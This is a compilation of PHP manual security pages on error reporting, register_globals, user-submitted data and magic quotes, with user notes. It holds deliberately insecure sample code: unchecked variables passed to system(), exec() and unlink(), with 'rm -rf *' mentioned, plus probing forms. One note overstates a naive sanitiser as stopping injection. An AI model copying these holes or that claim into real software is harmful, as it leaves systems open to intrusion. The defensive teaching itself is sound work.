<form method="post" action="attacktarget?username=badfoo&amp;password=badfoo">
<input type="hidden" name="username" value="badfoo" />
<input type="hidden" name="password" value="badfoo" />
</form>

The PHP errors which are normally returned can be quite helpful to a developer who is trying to debug a script, indicating such things as the function or file that failed, the PHP file it failed in, and the line number which the failure occurred in. This is all information that can be exploited. It is not uncommon for a php developer to use show_source(), highlight_string(), or highlight_file() as a debugging measure, but in a live site, this can expose hidden variables, unchecked syntax, and other dangerous information. Especially dangerous is running code from known sources with built-in debugging handlers, or using common debugging techniques. If the attacker can determine what general technique you are using, they may try to brute-force a page, by sending various common debugging strings:

Example #2 Exploiting common debugging variables

<form method="post" action="attacktarget?errors=Y&amp;showerrors=1&amp;debug=1">
<input type="hidden" name="errors" value="Y" />
<input type="hidden" name="showerrors" value="1" />
<input type="hidden" name="debug" value="1" />
</form>

Regardless of the method of error handling, the ability to probe a system for errors leads to providing an attacker with more information.

For example, the very style of a generic PHP error indicates a system is running PHP. If the attacker was looking at an .html page, and wanted to probe for the back-end (to look for known weaknesses in the system), by feeding it the wrong data they may be able to determine that a system was built with PHP.

A function error can indicate whether a system may be running a specific database engine, or give clues as to how a web page or programmed or designed. This allows for deeper investigation into open database ports, or to look for specific bugs or weaknesses in a web page. By feeding different pieces of bad data, for example, an attacker can determine the order of authentication in a script, (from the line number errors) as well as probe for exploits that may be exploited in different locations in the script.

A filesystem or general PHP error can indicate what permissions the web server has, as well as the structure and organization of files on the web server. Developer written error code can aggravate this problem, leading to easy exploitation of formerly "hidden" information.

There are three major solutions to this issue. The first is to scrutinize all functions, and attempt to compensate for the bulk of the errors. The second is to disable error reporting entirely on the running code. The third is to use PHP's custom error handling functions to create your own error handler. Depending on your security policy, you may find all three to be applicable to your situation.

One way of catching this issue ahead of time is to make use of PHP's own error_reporting(), to help you secure your code and find variable usage that may be dangerous. By testing your code, prior to deployment, with E_ALL, you can quickly find areas where your variables may be open to poisoning or modification in other ways. Once you are ready for deployment, you should either disable error reporting completely by setting error_reporting() to 0, or turn off the error display using the php.ini option display_errors, to insulate your code from probing. If you choose to do the latter, you should also define the path to your log file using the error_log ini directive, and turn log_errors on.

Example #3 Finding dangerous variables with E_ALL

<?php
if ($username) {  // Not initialized or checked before usage
    $good_login = 1;
}
if ($good_login == 1) { // If above test fails, not initialized or checked before usage
    readfile ("/highly/sensitive/data/index.html");
}
?>

User Contributed Notes

earlz- -NO SPAM-- at earlz dot biz DOT tm 04-Feb-2009 02:11
Note for those of you using OpenBSD and PHP.  The default php.ini has display_errors=off . This is contrary to the PHP default of display_errors=on . If your having trouble seeing errors on OpenBSD make sure to edit your php.ini to have display_errors=on. (I had this problem on OpenBSD 4.4)
udocproject at yahoo dot com 12-Jul-2008 07:51
OK, this is all about PHP under Microsoft Windows:

About the "display_errors = Off", etc., directives not working even when we have properly set them to prevent printing paths in the HTML, here's a solution:

If you have your PHP.ini file outside the C:\WINDOWS folder (or your default Windows installation folder, whatever it is), then copy it there and it should fix the problem.

You can know this and also whether your settings are being read by creating a PHP file to call the "phpinfo();" function. And more importantly, you can know where your server and PHP engine are looking for the "PHP.ini" file, so you can supply it properly.
publicmail at macfreek dot nl 30-May-2002 08:07
Be sure to check the error log file once in a while. I recommend that any server maintainer has a weekly or daily check of log files. You don't need to read them all. "grep error /var/log/*" would be a good start!
SQL Injection
Using Register Globals
Security


Using Register Globals

Warning

This feature has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

Perhaps the most controversial change in PHP is when the default value for the PHP directive register_globals went from ON to OFF in PHP » 4.2.0. Reliance on this directive was quite common and many people didn't even know it existed and assumed it's just how PHP works. This page will explain how one can write insecure code with this directive but keep in mind that the directive itself isn't insecure but rather it's the misuse of it.

When on, register_globals will inject your scripts with all sorts of variables, like request variables from HTML forms. This coupled with the fact that PHP doesn't require variable initialization means writing insecure code is that much easier. It was a difficult decision, but the PHP community decided to disable this directive by default. When on, people use variables yet really don't know for sure where they come from and can only assume. Internal variables that are defined in the script itself get mixed up with request data sent by users and disabling register_globals changes this. Let's demonstrate with an example misuse of register_globals:

Example #1 Example misuse with register_globals = on

<?php
// define $authorized = true only if user is authenticated
if (authenticated_user()) {
    $authorized = true;
}

// Because we didn't first initialize $authorized as false, this might be
// defined through register_globals, like from GET auth.php?authorized=1
// So, anyone can be seen as authenticated!
if ($authorized) {
    include "/highly/sensitive/data.php";
}
?>

When register_globals = on, our logic above may be compromised. When off, $authorized can't be set via request so it'll be fine, although it really is generally a good programming practice to initialize variables first. For example, in our example above we might have first done $authorized = false. Doing this first means our above code would work with register_globals on or off as users by default would be unauthorized.

Another example is that of sessions. When register_globals = on, we could also use $username in our example below but again you must realize that $username could also come from other means, such as GET (through the URL).

Example #2 Example use of sessions with register_globals on or off

<?php
// We wouldn't know where $username came from but do know $_SESSION is
// for session data
if (isset($_SESSION['username'])) {

    echo "Hello <b>{$_SESSION['username']}</b>";

} else {

    echo "Hello <b>Guest</b><br />";
    echo "Would you like to login?";

}
?>

It's even possible to take preventative measures to warn when forging is being attempted. If you know ahead of time exactly where a variable should be coming from, you can check to see if the submitted data is coming from an inappropriate kind of submission. While it doesn't guarantee that data has not been forged, it does require an attacker to guess the right kind of forging. If you don't care where the request data comes from, you can use $_REQUEST as it contains a mix of GET, POST and COOKIE data. See also the manual section on using variables from external sources.

Example #3 Detecting simple variable poisoning

<?php
if (isset($_COOKIE['MAGIC_COOKIE'])) {

    // MAGIC_COOKIE comes from a cookie.
    // Be sure to validate the cookie data!

} elseif (isset($_GET['MAGIC_COOKIE']) || isset($_POST['MAGIC_COOKIE'])) {

   mail("admin@example.com", "Possible breakin attempt", $_SERVER['REMOTE_ADDR']);
   echo "Security violation, admin has been alerted.";
   exit;

} else {

   // MAGIC_COOKIE isn't set through this REQUEST

}
?>

Of course, simply turning off register_globals does not mean your code is secure. For every piece of data that is submitted, it should also be checked in other ways. Always validate your user data and initialize your variables! To check for uninitialized variables you may turn up error_reporting() to show E_NOTICE level errors.

For information about emulating register_globals being On or Off, see this FAQ.

Note: Superglobals: availability note

Superglobal arrays such as $_GET, $_POST, and $_SERVER, etc. are available as of PHP 4.1.0. For more information, read the manual section on superglobals

User Contributed Notes

Andrew dot GuertinNO at SPAMuvm dot edu 19-Jun-2009 12:35
It's not mentioned anywhere, but it seems register globals also affects file uploads.

When a file is uploaded (with in this case, <input type="file" name="coconut">), the following variables appear:

["_FILES"]=>
array(1) {
  ["coconut"]=>
  array(5) {
    ["name"]=>
    string(14) "mozicon128.png"
    ["type"]=>
    string(9) "image/png"
    ["tmp_name"]=>
    string(14) "/tmp/phpWgtRBx"
    ["error"]=>
    int(0)
    ["size"]=>
    int(15113)
  }
}

When register globals is turned on, the following variables also appear:
["coconut_name"]=>
string(14) "mozicon128.png"
["coconut_type"]=>
string(9) "image/png"
["coconut"]=>
string(14) "/tmp/phpWgtRBx"
["coconut_size"]=>
int(15113)
lester burlap 23-Mar-2009 09:00
It would make this whole issue a lot less confusing for less-experienced PHP programmers if you just explained:

- $myVariable no longer works by default
- $_GET['myVariable'] works just fine

I'm embarrassed to say it's taken me six months since my ISP upgraded to PHP5 figure this out.  I've completely rewritten scripts to stop using GET variables altogether.

I'm dumb.
claude dot pache at gmail dot com 15-Jan-2009 05:52
Beware that all the solutions given in the comments below for emulating register_global being off are bogus, because they can destroy predefined variables you should not unset. For example, suppose that you have

<?php $_GET['_COOKIE'] == 'foo'; ?>

Then the simplistic solutions of the previous comments let you lose all the cookies registered in the superglobal "$_COOKIE"! (Note that in this situation, even with register_global set to "on", PHP is smart enough to not mess predefined variables such as  $_COOKIE.)

A proper solution for emulating register_global being off is given in the FAQ, as stated in the documentation above.
subarea AT webfire DOT biz 19-Nov-2008 03:38
your webspace provider has register-globals activated by standard and you don't have a chance to turn it off? no problem anymore, here is your solution...

<?php
// ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
// this is just a workaround to kill all through register globals imported vars!
// ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
// place this script after session_start() to be sure you unregister_globals('_SESSION');
// that's all, now all through "register_globals" assigned vars are deleted from scope.
// ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~

if (ini_get('register_globals') == 1)
{
if (is_array($_REQUEST)) foreach(array_keys($_REQUEST) as $var_to_kill) unset($$var_to_kill);
if (is_array($_SESSION)) foreach(array_keys($_SESSION) as $var_to_kill) unset($$var_to_kill);
if (is_array($_SERVER))  foreach(array_keys($_SERVER)  as $var_to_kill) unset($$var_to_kill);
                                                                        unset($var_to_kill);
}
?>

hope you like it ;)

greetz subarea

georg_gruber at yahoo dot com 27-Oct-2008 01:21
BEWARE of using register_globals = On, it's not only bad karma but highly dangerous.

Consider the following coding:

<?php
// assume $_SESSION['user'] = array('Hello', 'World');
// assume session_start() was called somewhere before.

    print('<pre>Contents of array $_SESSION[\'user\']');
    print_r($_SESSION['user']);
    print('<hr>Contents of array $user (PHP SETUP register_globals = On)');
    print_r($user);
    print('</pre>');
?>

If you manipulate $user you'll manipulate $_SESSION['user'] as well with PHP SETUP register_globals = On.

So please avoid it at any cost, no serious programmer would ever want to have register_globals = On.
bohwaz 31-Aug-2008 02:39
<?php

// Unregister_globals: unsets all global variables set from a superglobal array
// --------------------
// This is useful if you don't know the configuration of PHP on the server the application
// will be run
// Place this in the first lines of all of your scripts
// Don't forget that the register_global of $_SESSION is done after session_start() so after
// each session_start() put a unregister_globals('_SESSION');

function unregister_globals()
{
    if (!ini_get('register_globals'))
    {
        return false;
    }

    foreach (func_get_args() as $name)
    {
        foreach ($GLOBALS[$name] as $key=>$value)
        {
            if (isset($GLOBALS[$key]))
                unset($GLOBALS[$key]);
        }
    }
}

unregister_globals('_POST', '_GET', '_COOKIE', '_REQUEST', '_SERVER', '_ENV', '_FILES');

?>
moore at hs-furtwangen dot de 14-Jul-2008 01:19
I had a look at the post from Dice, in which he suggested the function unregister_globals(). It didn't seem to work - only tested php 4.4.8 and 5.2.1 - so I made some tweaking to get it running. (I had to use $GLOBALS due to the fact that $$name won't work with superglobals).

<?php
//Undo register_globals
function unregister_globals() {
    if (ini_get('register_globals')) {
        $array = array('_REQUEST', '_FILES');
        foreach ($array as $value) {
            if(isset($GLOBALS[$value])){
                foreach ($GLOBALS[$value] as $key => $var) {
                    if (isset($GLOBALS[$key]) && $var === $GLOBALS[$key]) {
                        //echo 'found '.$key.' = '.$var.' in $'.$value."\n";
                        unset($GLOBALS[$key]);
                    }
                }
            }
        }
    }
}
?>

The echo was for debuging, thought it might come in handy.
fab dot mariotti at [google]gmail dot com 16-Apr-2008 12:59
For my application I defined two functions:
wit_set_gv('space','key','value')
wit_get_gv('space','key')
Forgive the "wit_" prefix but the gv stays for Global Variable.

Maybe I should start with a simple version:
wit_set_gv('key','value')
wit_get_gv('key')

This way you would set or get a global/session value.
The register_globals (on or off), session state and/or
superglobal variables will be handled by these functions.

I did add a 'space' item because I wanted to have control
on what goes to/comes from where. As an example if I call:
wit_get_gv('WIT_CONF','URL')
I know that I have to check for a global variable named
WIT_CONF which also gives me a positive responce
on isset($WIT_CONF['URL']). In this case $WIT_CONF
is global and static. But I can also set up a $WIT_STATE
variable which will represent the state of the transaction.
Using the code of WIT_set_gv() and WIT_get_gv(), with the help
of a simple few lines (in my case: include globals.inc.php)
definition script I handle this problem.

In my case, for example, if 'WIT_STATE' (or other names)
is not a defined globally available variable I default to check
for a session variable.

For example you might warn or stop if a requested named variable
matches a $_POST, $_GET or $_SESSION variable name while you
do not expect so. i.e. all my private data has a wit_ prefix
but no public request has (shouldn't have) this prefix.

Oopss. I do realize that this comment might not be in the proper
place. i.e. "register_globals". Indeed it might give some advice
to users still using register_globals and willing to change the
code for a "better" solution. Of course                                                                                the simple switching to "register_globals = off" might not solve
the securities issues.

Cheers
F
Dice 15-Apr-2008 09:46
To expand on the nice bit of code Mike Willbanks wrote and Alexander tidied up, I turned the whole thing in a function that removes all the globals added by register_globals so it can be implemented in an included functions.php and doesn't litter the main pages too much.

<?php
//Undo register_globals
function unregister_globals() {
    if (ini_get(register_globals)) {
        $array = array('_REQUEST', '_SESSION', '_SERVER', '_ENV', '_FILES');
        foreach ($array as $value) {
            foreach ($GLOBALS[$value] as $key => $var) {
                if ($var === $GLOBALS[$key]) {
                    unset($GLOBALS[$key]);
                }
            }
        }
    }
}
?>
Ruquay K Calloway 01-Apr-2008 05:59
While we all appreciate the many helpful posts to get rid of register_globals, maybe you're one of those who just loves it.  More likely, your boss says you just have to live with it because he thinks it's a great feature.

No problem, just call (below defined):

<?php register_globals(); ?>

anywhere, as often as you want.  Or update your scripts!

<?php
/**
 * function to emulate the register_globals setting in PHP
 * for all of those diehard fans of possibly harmful PHP settings :-)
 * @author Ruquay K Calloway
 * @param string $order order in which to register the globals, e.g. 'egpcs' for default
 */
function register_globals($order = 'egpcs')
{
    // define a subroutine
    if(!function_exists('register_global_array'))
    {
        function register_global_array(array $superglobal)
        {
            foreach($superglobal as $varname => $value)
            {
                global $$varname;
                $$varname = $value;
            }
        }
    }

    $order = explode("\r\n", trim(chunk_split($order, 1)));
    foreach($order as $k)
    {
        switch(strtolower($k))
        {
            case 'e':    register_global_array($_ENV);        break;
            case 'g':    register_global_array($_GET);        break;
            case 'p':    register_global_array($_POST);        break;
            case 'c':    register_global_array($_COOKIE);    break;
            case 's':    register_global_array($_SERVER);    break;
        }
    }
}
?>
Tumasch 13-Dec-2007 05:50
In addition to Mike Willbanks post:

Put this to the beginning of every file or to a functions.inc.php and call it every time before start working with user variables.
This will prevent problems with wrong initalized variables or users who try to break your application.

And this has an extra bonus: Applications which still work are also register_globasl = off enabled!

<?php
//
// If register_globals is on, delete all variables exept the ones in the array
//
if (ini_get('register_globals')) {
    foreach ($GLOBALS as $int_temp_name => $int_temp_value) {
        if (!in_array($int_temp_name, array (
                'GLOBALS',
                '_FILES',
                '_REQUEST',
                '_COOKIE',
                '_SERVER',
                '_ENV',
                '_SESSION',
                ini_get('session.name'),
                'int_temp_name',
                'int_temp_value'
            ))) {
            unset ($GLOBALS[$int_temp_name]);
        }
    }
}
//
// Now, (re)import the variables
//
if (isset ($_REQUEST['pass']))
    $ext_pass = $_REQUEST['pass'];
if (isset ($_REQUEST['user']))
    $ext_user = $_REQUEST['user'];
if (isset ($_REQUEST['action']))
    $ext_action = $_REQUEST['action'];
//
// Cleanup entries
//
$int_pass = (isset ($ext_pass) ? preg_replace("'[^A-Z]'", "", $ext_pass) : '');
$int_user = (isset ($ext_user) ? preg_replace("'[]A-Za-z0-9áäàâãëèéêïìîóöòôõúüùû \.^\$\!\_-()'", "", $ext_user) : '');
$int_action = (isset ($ext_action) ? intval($ext_action) : '');
//
// Import Session variables
//
if (isset ($_SESSION)) {
    foreach ($_SESSION as $int_temp_key => $int_temp_value) {
        if ($int_temp_value != '') {
            $$int_temp_key = $int_temp_value;
        }
    }
}
//
// Import Cookie variables
//
if (isset ($_COOKIE)) {
    foreach ($_COOKIE as $int_temp_key => $int_temp_value) {
        if ($int_temp_value != '') {
            $$int_temp_key = $int_temp_value;
        }
    }
}
//
// From here on, work only with $int_ variables and you're safe!
//
?>

With this you can prevent a lot of different problems!
alan hogan 19-Jul-2007 08:08
Useful for shared hosting or scripts that you are sharing with other people.
<?php
// Effectively turn off dangerous register_globals without having to edit php.ini
if (ini_get(register_globals))  // If register_globals is enabled
{ // Unset $_GET keys
  foreach ($_GET as $get_key => $get_value) {
    if (ereg('^([a-zA-Z]|_){1}([a-zA-Z0-9]|_)*$', $get_key)) eval("unset(\${$get_key});");
  } // Unset $_POST keys
  foreach ($_POST as $post_key => $post_value) {
    if (ereg('^([a-zA-Z]|_){1}([a-zA-Z0-9]|_)*$', $post_key)) eval("unset(\${$post_key});");

  } // Unset $_REQUEST keys
  foreach ($_REQUEST as $request_key => $request_value) {
    if (ereg('^([a-zA-Z]|_){1}([a-zA-Z0-9]|_)*$', $request_key)) eval("unset(\${$request_key});");
  }
}
?>
dav at thedevelopersalliance dot com 17-Dec-2003 10:38
import_request_variables() has a good solution to part of this problem - add a prefix to all imported variables, thus almost eliminating the factor of overriding internal variables through requests. you should still check data, but adding a prefix to imports is a start.
Error Reporting
User Submitted Data
Security


User Submitted Data

The greatest weakness in many PHP programs is not inherent in the language itself, but merely an issue of code not being written with security in mind. For this reason, you should always take the time to consider the implications of a given piece of code, to ascertain the possible damage if an unexpected variable is submitted to it.

Example #1 Dangerous Variable Usage

<?php
// remove a file from the user's home directory... or maybe
// somebody else's?
unlink ($evil_var);

// Write logging of their access... or maybe an /etc/passwd entry?
fwrite ($fp, $evil_var);

// Execute something trivial.. or rm -rf *?
system ($evil_var);
exec ($evil_var);

?>

You should always carefully examine your code to make sure that any variables being submitted from a web browser are being properly checked, and ask yourself the following questions:

  • Will this script only affect the intended files?
  • Can unusual or undesirable data be acted upon?
  • Can this script be used in unintended ways?
  • Can this be used in conjunction with other scripts in a negative manner?
  • Will any transactions be adequately logged?

By adequately asking these questions while writing the script, rather than later, you prevent an unfortunate re-write when you need to increase your security. By starting out with this mindset, you won't guarantee the security of your system, but you can help improve it.

You may also want to consider turning off register_globals, magic_quotes, or other convenience settings which may confuse you as to the validity, source, or value of a given variable. Working with PHP in error_reporting(E_ALL) mode can also help warn you about variables being used before they are checked or initialized (so you can prevent unusual data from being operated upon).

User Contributed Notes

ffmandu13 at hotmail dot com 24-Aug-2008 11:29
Hi,

Just one little class I made to control user's submitted datas, I thought it could help some people with security.
And if anyone wants to improve it, I'd be glad you do so.

<?php

/**
 * This program is under GNU GPL license.
 *
 * You can contact the author of this program at <ffmandu13@hotmail.com/>.
 */

//Defined regexps (you can add your own ones).
define('REG_DATE'          , '([[:digit:]]{4})-([[:digit:]]{2})-([[:digit:]]{2})');
define('REG_DIGIT_SIGNED'  , '^[-[:digit:]]+$');
define('REG_DIGIT_UNSIGNED', '^[[:digit:]]+$');
define('REG_PASSWORD'      , '^[[:alnum:]]+$');
define('REG_TEXT'          , '[[:graph:][:blank:]]+');
define('REG_WORD'          , '^[[:alpha:]]+$');

//Controls contents of the $_REQUEST variable.
final class checkVar{

  private $tmp; //Secured value of a $_REQUEST key.

  //Check if the variable is set.
  private function isSet(&$field){
    if(!isset($_REQUEST[$field]))
      throw new Exception("You forgot to fill the $field field.");
    else
      return true;
  }

  //Set $tmp and remove threatening characters.
  private function removeCharsThreats(&$field){
    $this->tmp = trim($_REQUEST[$field]);
    $this->tmp = htmlspecialchars($_REQUEST[$field], ENT_QUOTES, 'UTF-8', false);
  }

  //Checks if the value is equal to 1.
  public function securityBool($field){
    if($this->isSet($field) && $_REQUEST[$field] != 1)
      throw new Exception("Unallowed value in $field field.");
    else
      return true;
  }

  //Checks if the value is in the allowed ones list ($enum).
  public function securityEnum($field, $enum){
    if($this->isSet($field)){
      $this->removeCharsThreats($field);
      $tab = explode(',', $enum);
      if(!in_array($this->tmp, $tab))
        throw new Exception("Unallowed value in $field field.");
      else
        return (string) $this->tmp;
    }
  }

  //Checks if the value is a numeric one and if it is in the given range.
  public function securityRange($field, $range){
    if($this->isSet($field)){
      $this->removeCharsThreats($field);
      $tab = explode('/', $range);
      if(!is_numeric($this->tmp))
        throw new Exception("Unallowed characters in $field field.");
      elseif($this->tmp < $tab[0] || $this->tmp > $tab[1])
        throw new Exception('Value must be in range '.$tab[0].'/'.$tab[1]." in $field field.");
      else
        return (int) $this->tmp;
    }
  }

  /**
   * Checks if the value respects the defined regexp,
   * and if its length is not superior than the given maxlength.
   */
  public function securityText($field, $maxlength, $regexp){
    if($this->isSet($field)){
      $this->removeCharsThreats($field);
      if(!mb_ereg($regexp, $this->tmp))
        throw new Exception("Unallowed characters in $field field.");
      elseif(mb_strlen($this->tmp, ENCODING) > $maxlength)
        throw new Exception("Too long string length for $field field.");
      else
        return $this->tmp;
    }
  }

}

?>

Here are some examples of how to use the public methods.

<?php

$checkVar = new checkVar();
$args     = array();

//If $_REQUEST['bbexport'] is not equal to 1, throws a new Exception.
$args['bbexport'] = $checkVar->securityBool('bbexport');

//If $_REQUEST['id'] is not an unsigned integer and/or has more than 4 digits, throws a new Exception.
$args['id']       = (int) $checkVar->securityText('id', 4, REG_DIGIT_UNSIGNED);

//If $_REQUEST['orderBy'] is not equal to 'date' or 'id' or 'name', throws a new Exception.
$args['orderBy']  = $checkVar->securityEnum('orderBy', 'date,id,name');

//If $_REQUEST['ratio'] is not a numeric value (integer or float) and is not between 0 and 10, throws a new Exception.
$args['ratio']    = $checkVar->securityRange('ratio', '0/10');

?>
Livingstone@stonyhills[dot]com 02-Feb-2008 04:51
making sure your form is submitted from your page! Could also be adapted to url, by additing &token to the query string and checking this against session data(or what ever array you like) with $_GET, not that this string is randomly generated and stored. If you like you could build your own array to store the generated string if you dont want to use $_SESSION, say you could make yours like $tokens = array(), and in your easysecure class you store all the stuff in that array!

<?php

class easysecure {

    var $curr_user;
    var $curr_permission;
    var $curr_task;
    var $validpermission;
    var $error;

    function &setVar( $name, $value=null ) {
        if (!is_null( $value )) {
            $this->$name = $value;
        }
        return $this->$name;
    }

    function maketoken($formname, $id){

        $token = md5(uniqid(rand(), true));

        $_SESSION[$formname.$id] = $token;

        return $token;
    }

    function checktoken($token, $formname, $id){
        //print_r($_SESSION);
        //echo ($token);
        //if we dont have a valid token, return invalid;
        if(!$token){
            $this->setVar('validpermission', 0);
            $this->setVar('error', 'no token found, security bridgedetected');
            return false;
        }

        //if we have a valid token check that is is valid
        $key = $_SESSION[$formname.$id];
        if($key !== $token ){
            $this->setVar('validpermission', 0);
            $this->setVar('error', 'invalid token');
            return false;
        }

        if($this->validpermission !==1){
              echo 'invalid Permissions to run this script';
              return false;
        }else{
            return true;
        }
    }

}

?>

<?php $userid = *** //make it what ever id you like ?>
<form name="newform" action="index.php" method="post">
<input type="text" name="potentialeveilfield" value="" size 30 />
<input type="hidden" name="token" value="<?php echo maketoken(newform, $userid); //$userid here could be user profile id ?>" />
<input type="submit" />
</form>

Now when processing the form... check the value of your token

<?php

//well you know the form name
if(!checktoken($_POST['token'], 'newform', $userid))
{ //failed
exit(); //or what ever termination and notification method best suits you.
//you could also design the class your way to get more accurate fail (error messages from the var)
}

//you can now continue with input data clean up (validation)

?>
Uli Kusterer 13-Sep-2005 03:50
One thing I would repeat in the docs here is what information actually comes from the user. Many people think a Cookie, since it's written by PHP, was safe. But the fact is that it's stored on the user's computer, transferred by the user's browser, and thus very easy to manipulate.

So, it'd be handy to mention here again that:

CGI parameters in the URL, HTTP POST data and cookie variables are considered "user data" and thus need to be validated. Session data and SQL database contents only need to be validated if they came from untrustworthy sources (like the ones just mentioned).

Not new, but I would have expected this info under this headline, at least as a short recap plus linlk to the actual docs.
Using Register Globals
Magic Quotes
Security


Magic Quotes

Table of Contents

  • What are Magic Quotes
  • Why did we use Magic Quotes
  • Why not to use Magic Quotes
  • Disabling Magic Quotes
Warning

This feature has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

Magic Quotes is a process that automagically escapes incoming data to the PHP script. It's preferred to code with magic quotes off and to instead escape the data at runtime, as needed.

User Contributed Notes

NanoCaiordo 24-Apr-2011 08:22
Magic Quotes are depreciated and going to be removed in PHP6.
If you still want your code to be portable, no warnings etc, as of PHP52 you can use the following code.

<?php
foreach ($_GET as $key => &$val) $val = filter_input(INPUT_GET, $key);

foreach ($_POST as $key => &$val) $val = filter_input(INPUT_POST, $key);
?>

The above will retrieve an-escaped GETs and POSTs regardless system settings. It can also be used for $_COOKIES and others.
cHao 14-Mar-2011 08:38
The very reason magic quotes are deprecated is that a one-size-fits-all approach to escaping/quoting is wrongheaded and downright dangerous.  Different types of content have different special chars and different ways of escaping them, and what works in one tends to have side effects elsewhere.  Any sample code, here or anywhere else, that pretends to work like magic quotes --or does a similar conversion for HTML, SQL, or anything else for that matter -- is similarly wrongheaded and similarly dangerous.

Magic quotes are not for security.  They never have been.  It's a convenience thing -- they exist so a PHP noob can fumble along and eventually write some mysql queries that kinda work, without having to learn about escaping/quoting data properly.  They prevent a few accidental syntax errors, as is their job.  But they won't stop a malicious and semi-knowledgeable attacker from trashing the PHP noob's database.  And that poor noob may never even know how or why his database is now gone, because magic quotes (or his spiffy "i'm gonna escape everything" function) gave him a false sense of security.  He never had to learn how to really handle untrusted input.

Data should be escaped where you need it escaped, and for the domain in which it will be used.  (mysql_real_escape_string -- NOT addslashes! -- for MySQL (and that's only unless you have a clue and use prepared statements), htmlentities or htmlspecialchars for HTML, etc.)  Anything else is doomed to failure.
shazdeh1358 at yahoo dot com 29-Jan-2011 05:41
for those who want an automatic sanitization of GET, POST, COOKIE, etc variables:

the code escapes ALL vars! That is, it effectively prevents SQL injection and XSS attaks. It lifts the need for 'magic_quotes_gpc = On' directive.

However it treats all variables as text and does not do type-cheking. So it is suitable only for making SQL queries or displaying html content.

the following code can be included in all pages which need html and sql sanitization.

<?php

// escaping and slashing all POST and GET variables. you may add $_COOKIE and $_REQUEST if you want them sanitized.
array_walk_recursive($_POST, 'sanitizeVariables');
array_walk_recursive($_GET, 'sanitizeVariables');

// sanitization
function sanitizeVariables(&$item, $key)
{
    if (!is_array($item))
    {
        // undoing 'magic_quotes_gpc = On' directive
        if (get_magic_quotes_gpc())
            $item = stripcslashes($item);

        $item = sanitizeText($item);
    }
}

// does the actual 'html' and 'sql' sanitization. customize if you want.
function sanitizeText($text)
{
    $text = str_replace("<", "&lt;", $text);
    $text = str_replace(">", "&gt;", $text);
    $text = str_replace("\"", "&quot;", $text);
    $text = str_replace("'", "&#039;", $text);

    // it is recommended to replace 'addslashes' with 'mysql_real_escape_string' or whatever db specific fucntion used for escaping. However 'mysql_real_escape_string' is slower because it has to connect to mysql.
    $text = addslashes($text);

    return $text;
}

// export POST variables as GLOBALS. remove if you want
foreach (array_keys($_POST) as $ehsanKey)
    $GLOBALS[$ehsanKey] = $_POST[$ehsanKey];

// export GET variables as GLOBALS. remove if you want
foreach (array_keys($_GET) as $ehsanKey)
{
    $GLOBALS[$ehsanKey] = $_GET[$ehsanKey];
}

// preventing the key used above for iteration from getting into globals (in case  'register_globals = On')
unset($ehsanKey);

// the reverse function of 'sanitizeText'. you may use it in pages which need the original data (e.g. for an HTML editor)
function unsanitizeText($text)
{
    $text =  stripcslashes($text);

    $text = str_replace("&#039;", "'", $text);
    $text = str_replace("&gt;", ">", $text);
    $text = str_replace("&quot;", "\"", $text);
    $text = str_replace("&lt;", "<", $text);

    return $text;
}
?>
User Submitted Data
What are Magic Quotes
Security


What are Magic Quotes

Warning

This feature has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

When on, all ' (single-quote), " (double quote), \ (backslash) and NULL characters are escaped with a backslash automatically. This is identical to what addslashes() does.

There are three magic quote directives:

  • magic_quotes_gpc Affects HTTP Request data (GET, POST, and COOKIE). Cannot be set at runtime, and defaults to on in PHP. See also get_magic_quotes_gpc().
  • magic_quotes_runtime If enabled, most functions that return data from an external source, including databases and text files, will have quotes escaped with a backslash. Can be set at runtime, and defaults to off in PHP. See also set_magic_quotes_runtime() and get_magic_quotes_runtime().
  • magic_quotes_sybase If enabled, a single-quote is escaped with a single-quote instead of a backslash. If on, it completely overrides magic_quotes_gpc. Having both directives enabled means only single quotes are escaped as ''. Double quotes, backslashes and NULL's will remain untouched and unescaped. See also ini_get() for retrieving its value.

User Contributed Notes

There are no user contributed notes for this page.
Magic Quotes
Why did we use Magic Quotes
Magic Quotes


Why did we use Magic Quotes

Warning

This feature has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

  • There is no reason to use magic quotes because they are no longer a supported part of PHP. However, they did exist and did help a few beginners blissfully and unknowingly write better (more secure) code. But, when dealing with code that relies upon this behavior it's better to update the code instead of turning magic quotes on. So why did this feature exist? Simple, to help prevent SQL Injection. Today developers are better aware of security and end up using database specific escaping mechanisms and/or prepared statements instead of relying upon features like magical quotes.

User Contributed Notes

There are no user contributed notes for this page.
What are Magic Quotes
Why not to use Magic Quotes
Magic Quotes


Why not to use Magic Quotes

Warning

This feature has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

  • Portability Assuming it to be on, or off, affects portability. Use get_magic_quotes_gpc() to check for this, and code accordingly.
  • Performance Because not every piece of escaped data is inserted into a database, there is a performance loss for escaping all this data. Simply calling on the escaping functions (like addslashes()) at runtime is more efficient. Although php.ini-development enables these directives by default, php.ini-production disables it. This recommendation is mainly due to performance reasons.
  • Inconvenience Because not all data needs escaping, it's often annoying to see escaped data where it shouldn't be. For example, emailing from a form, and seeing a bunch of \' within the email. To fix, this may require excessive use of stripslashes().

User Contributed Notes

Albin Mrtensson 09-Sep-2010 06:46
This is what I use to handle magic quotes

<?php

if (get_magic_quotes_gpc()) {
    function strip_array($var) {
        return is_array($var)? array_map("strip_array", $var):stripslashes($var);
    }

    $_POST = strip_array($_POST);
    $_SESSION = strip_array($_SESSION);
    $_GET = strip_array($_GET);
}

?>
anze 13-Oct-2008 03:23
Another reason against it: security. You could be lulled in a feeling of false security if you have magic_quotes=On on a test server and Off on production server.

And another: readability of the code. If you want to be portable you need to resort to some weird solution, outlines on these pages (if (get_magic_quotes())...).

